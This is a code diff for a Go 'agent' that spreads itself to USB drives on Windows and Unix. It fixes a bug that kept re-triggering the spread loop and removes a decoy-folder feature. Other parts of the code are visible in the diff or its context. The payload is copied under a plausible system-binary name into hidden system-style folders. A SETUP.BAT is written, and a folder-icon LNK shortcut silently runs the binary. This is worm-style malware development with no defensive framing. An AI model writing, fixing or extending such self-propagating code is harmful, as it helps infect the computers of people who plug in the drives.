Fix USB spread loop: record exe size before goroutine, remove decoy folders

agent/deploy/passive_spread_unix.go

@@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
 	if err != nil {
 		return
 	}
+	exeInfo, err := os.Stat(exePath)
+	if err != nil {
+		return
+	}
+	currentSize := exeInfo.Size()
 
 	// Spread to drives already present at startup if payload is missing or stale.
+	// Record the current exe size BEFORE launching the goroutine so the ticker
+	// never fires again for a drive that's already being written.
 	for _, mp := range listRemovableMounts() {
 		size, found := findUnixPayloadSize(mp)
 		if !found || isPayloadStale(exePath, size) {
+			state[mp] = mountState{payloadSize: currentSize}
 			go spreadToMountUnix(cfg, mp)
-			state[mp] = mountState{}
 		} else {
 			state[mp] = mountState{payloadSize: size}
 		}
@@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
 			prev, seen := state[mp]
 			if !seen {
 				log.Printf("[passive-spread] new removable mount: %s", mp)
-				state[mp] = mountState{}
+				state[mp] = mountState{payloadSize: exeInfo.Size()}
 				go spreadToMountUnix(cfg, mp)
 				continue
 			}
 			if prev.payloadSize != exeInfo.Size() {
 				log.Printf("[passive-spread] refreshing stale payload on %s", mp)
-				state[mp] = mountState{}
+				state[mp] = mountState{payloadSize: exeInfo.Size()}
 				go spreadToMountUnix(cfg, mp)
 			}
 		}

agent/deploy/passive_spread_windows.go

@@ -98,6 +98,8 @@ var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMeta
 // that don't already carry an up-to-date payload.
 func runUSBWatcher(cfg config.RuntimeConfig) {
 	// Track drives + the size of the payload we last wrote to each.
+	// Storing the exe size BEFORE launching the goroutine prevents the ticker
+	// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
 	type driveState struct{ payloadSize int64 }
 	state := map[string]driveState{}
 
@@ -105,6 +107,11 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
 	if err != nil {
 		return
 	}
+	exeInfo, err := os.Stat(exePath)
+	if err != nil {
+		return
+	}
+	currentSize := exeInfo.Size()
 
 	// Check drives already present when the agent starts — spread to any that
 	// are missing or stale (different binary size), don't just skip them.
@@ -112,8 +119,10 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
 		if getDriveType(d) == driveRemovable {
 			size, found := findUSBPayloadSize(d)
 			if !found || isPayloadStale(exePath, size) {
+				// Mark with current exe size NOW so the ticker never re-fires
+				// for this drive while the goroutine is still running.
+				state[d] = driveState{payloadSize: currentSize}
 				go spreadToUSB(cfg, d)
-				state[d] = driveState{}
 			} else {
 				state[d] = driveState{payloadSize: size}
 			}
@@ -133,16 +142,16 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
 			}
 			prev, seen := state[d]
 			if !seen {
-				// Brand-new drive just inserted
+				// Brand-new drive just inserted — record size before goroutine.
 				log.Printf("[passive-spread] new USB drive: %s", d)
-				state[d] = driveState{}
+				state[d] = driveState{payloadSize: exeInfo.Size()}
 				go spreadToUSB(cfg, d)
 				continue
 			}
-			// Refresh if the agent binary was updated since we last wrote
+			// Refresh only when the running binary is genuinely newer.
 			if prev.payloadSize != exeInfo.Size() {
 				log.Printf("[passive-spread] refreshing stale payload on %s", d)
-				state[d] = driveState{}
+				state[d] = driveState{payloadSize: exeInfo.Size()}
 				go spreadToUSB(cfg, d)
 			}
 		}
@@ -220,13 +229,6 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
 	batPath := filepath.Join(drive, "SETUP.BAT")
 	_ = os.WriteFile(batPath, []byte(batLines), 0644)
 
-	// 4. Decoy visible folder so the drive looks natural when opened
-	decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
-	if err := os.MkdirAll(decoyDir, 0755); err == nil {
-		// Drop a harmless placeholder so it doesn't look empty
-		_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
-			[]byte("This folder is empty.\r\n"), 0644)
-	}
 }
 
 // usbPayloadName returns a plausible system binary name for the USB payload.
@@ -269,23 +271,6 @@ func pickLinkName(drive string) string {
 	return "Open Documents"
 }
 
-// pickDecoyFolderName returns a visible folder name to create on the USB so
-// the drive looks like it contains real content.  It avoids names already
-// used by pickLinkName so the shortcut name and decoy name differ.
-func pickDecoyFolderName(drive string) string {
-	candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
-	entries, _ := os.ReadDir(drive)
-	existing := map[string]bool{}
-	for _, e := range entries {
-		existing[strings.ToLower(e.Name())] = true
-	}
-	for _, c := range candidates {
-		if !existing[strings.ToLower(c)] {
-			return c
-		}
-	}
-	return "Backup"
-}
 
 // createFolderShortcut uses PowerShell's WScript.Shell COM object to
 // create an LNK shortcut with a folder icon that silently runs destBin.